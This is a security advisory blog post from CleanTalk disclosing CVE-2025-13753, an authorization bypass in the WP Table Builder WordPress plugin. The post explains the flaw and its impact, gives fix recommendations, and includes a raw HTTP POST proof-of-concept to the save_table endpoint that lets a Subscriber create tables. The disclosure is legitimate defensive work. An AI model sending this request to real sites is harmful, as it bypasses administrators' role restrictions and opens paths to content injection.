Plugin Security Certification (PSC) by CleanTalk

Use only certified WordPress plugins for your website

CERTIFY PLUGIN

CVE-2025-13753 – WP Table Builder – Incorrect Authorization to Authenticated (Subscriber+) Arbitrary Table Creation – POC

CVE-2025-13753 affects WP Table Builder and it is an incorrect authorization vulnerability where a low privilege authenticated user can create new tables even when the site owner configured the plugin to allow table management only for specific roles. The bug is subtle because the plugin does have an authorization model and a dedicated allowed roles gate, yet one AJAX entry point introduces an alternative access path that relies only on possession of a nonce like value and skips the capability check entirely. In practical terms this means **a Subscriber can perform a privileged content creation action** as soon as they can see or steal the security code that is exposed in front end or editor context, which breaks the expected role separation that administrators rely on in multi user WordPress installations.

CVE	**CVE-2025-13753**
Plugin Version	WP Table Builder <= 2.0.19

All Time	**2 071 567**
Active installations	**50 000+**
Publicly Published	January 8, 2026
Last Updated	January 8, 2026
Researcher	Dmitrii Ignatyev
PoC	Yes
Exploit	No
Reference	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-13753 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-table-builder/wp-table-builder-2019-incorrect-authorization-to-authenticated-subscriber-arbitrary-table-creation https://t.me/cleantalk_researches/384
Plugin Security Certification by CleanTalk	

Logo of the plugin	

Timeline

November 18, 2025	Plugin testing and vulnerability detection in the **WP Table Builder** have been completed
November 18, 2025	I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing
January 8, 2026	Registered **CVE-2025-13753**

Discovery of the Vulnerability

The vulnerable surface is the AJAX endpoint `save_table` exposed through `admin-ajax.php?action=save_table`. The plugin intends to restrict table creation to roles listed under its Allowed Roles configuration and internally models that policy through a dedicated meta capability gate. However, the `save_table` implementation

accepts a request that includes `security_code` and treats that value as sufficient authorization, verifying only that the request carries the correct import security nonce and then proceeding to create the table. The missing piece is a server side capability enforcement step like `current_user_can` against the plugin's allowed roles meta capability. This creates a classic bypass where the security code becomes a bearer token, even though it was never meant to be an access control boundary, and the policy defined by the plugin UI is silently ignored for this specific mutation path.

Understanding of Incorrect Authorization attack's

In WordPress, nonces and localized security codes are request integrity controls, not access control decisions. They help prevent CSRF and blind submissions by tying a request to a session and screen context, but they do not determine whether a user is allowed to perform an action on the server. Real world failures happen when plugin developers treat a nonce as if it were a capability check. This is especially risky in builder style plugins because editor pages often localize configuration objects into JavaScript, and those objects can be read by any role that can load the page, or sometimes by any visitor if the object is printed on public pages. Once a low privilege role can retrieve `WPTB_CFG.SECURITY_CODE`, they can call the endpoint directly without any UI. The immediate harm may look like simple clutter, but the deeper problem is that it enables **unauthorized content injection into a trusted plugin content type**, which often becomes a stepping stone to more serious outcomes if any downstream rendering path mishandles stored content.

Exploiting the Incorrect Authorization Vulnerability

To exploit **CVE-2025-13753**, an attacker with subscriber+ any cookies:

> ***POC:***

```
POST /wordpress/wp-admin/admin-ajax.php?
action=save_table HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rv:140.0) Gecko/20100101 Firefox/140.0
Accept:
text/html,application/xhtml+xml,application/xml
;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1/
Connection: keep-alive
Cookie: REDACTED
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/json
Content-Length: 180

{
  "security_code": "WPTB_CFG.SECURITY_CODE form
profile.php",
  "title": "PoC",
  "content": "{\"props\":
{\"cols\":1,\"rows\":1},\"rows\":[{\"cells\":
[{\"props\":{\"isEmpty\":false},\"blocks\":
[]}]}]}"
}
```

___

The primary impact is integrity and governance loss. Administrators may believe that only selected roles can create and manage tables, but a Subscriber can still create objects behind the scenes, filling the database with unwanted tables and forcing cleanup. On content driven sites, this can become a workflow disruption because tables might appear in editor search or shortcodes lists, confusing staff and increasing the chance that an unreviewed table is embedded into a page. The more serious scenario is chaining. If the table content renderer later outputs stored content with insufficient sanitization, unauthorized table creation becomes an enabler for stored

XSS or HTML injection that can fire in admin or front end contexts. Even if WP Table Builder sanitizes well, the bypass still matters because it undermines the plugin's security model and expands the set of users who can store complex structured data, which is exactly the type of asset attackers prefer for planting payloads and persistence.

Recommendations for Improved Security

The fix is to enforce authorization on the server for every mutation endpoint, including save_table. The handler should require the plugin's allowed roles meta capability and call `current_user_can` before proceeding, and it should treat the security code only as a request authenticity check rather than an authorization decision. If the plugin supports different permission tiers, the capability should be granular and aligned with the Allowed Roles configuration, and the check should occur before any parsing of attacker supplied JSON to reduce attack surface. It is also important to scope the security code so it is never printed for users who are not allowed to manage tables, and to avoid exposing it on public pages entirely. Site owners should review who can access pages that expose `WPTB_CFG.SECURITY_CODE`, rotate any relevant nonces by logging users out if needed, and audit the tables list for unexpected objects created by low privilege accounts.

> *By taking proactive measures to address **IA like CVE-2025-13753** WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.*
>
> *#WordPressSecurity #**Incorrect Authorization** #WebsiteSafety #StayProtected #HighVulnerability*
>
> ***Use CleanTalk solutions to improve the security of your website***
>
> DMITRII I.

Related posts

CVE-2024-3963 – RafflePress Lite – Stored XSS – POC

RafflePress Lite is WordPress plugin designed to help users drive traffic, grow their email lists, and boost social...

CVE-2024-6889 – Secure Copy Content Protection and Content Locking – Stored XSS to Backdoor Creation – POC

CVE-2024-6889 exposes a serious vulnerability in the Secure Copy Content Protection and Content Locking plugin, a tool used...

CVE-2024-8542 – Everest Forms – Stored XSS to Backdoor Creation – POC

CVE-2024-8542 is a critical Stored Cross-Site Scripting (XSS) vulnerability affecting the Everest Forms plugin, used by over 100,000...

CVE-2024-12311 – Email Subscribers – SQL Injection – POC

The Email Subscribers plugin for WordPress, which is widely used to manage subscribers, campaigns, and emails, has been...

CVE-2024-13615 – SocialSnap – Stored XSS to JS Backdoor Creation – POC

The Social Media Plugin by Social Snap is widely used to add social sharing functionalities to WordPress websites....

Dmitrii I March 12, 2026 CVE, Security

No Comments

← CVE-2026-3231 – Checkout Field Editor (Checkout Manager) for WooCommerce – Unauthenticated Stored XSS – POC

CVE-2025-13393 – Featured Image from URL (FIFU) – Authenticated (Contributor+) Server-Side Request Forgery via ‘fifu_input_url’ – POC →

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment *

Name *

Email *

Website

Save my name, email, and website in this browser for the next time I comment.

Post Comment

CleanTalk

- About
- Blog
- Dashboard
- Plugins security certification
- WordPress Malware removal
- Pricing
- Sign up / Sign In

Solutions

- Anti-Spam for Websites
- Anti-Spam Plugins
- Check IP
- Check Email
- Filter fake emails
- Gantt Charts
- Hide contact data
- Stop spam emails in Contact form 7 (CF7)
- Stop spam in Elementor form builder
- Stop spam in WPForms
- Vulnerabilities and Security Researches
- Website malware scanner
- WordPress Security Plugin

Documentation

- Help
- Is my site infected?
- License agreement
- Privacy Policy
- Refund Policy

Contact us

- Create a support ticket
- Contact us
- Telegram
- X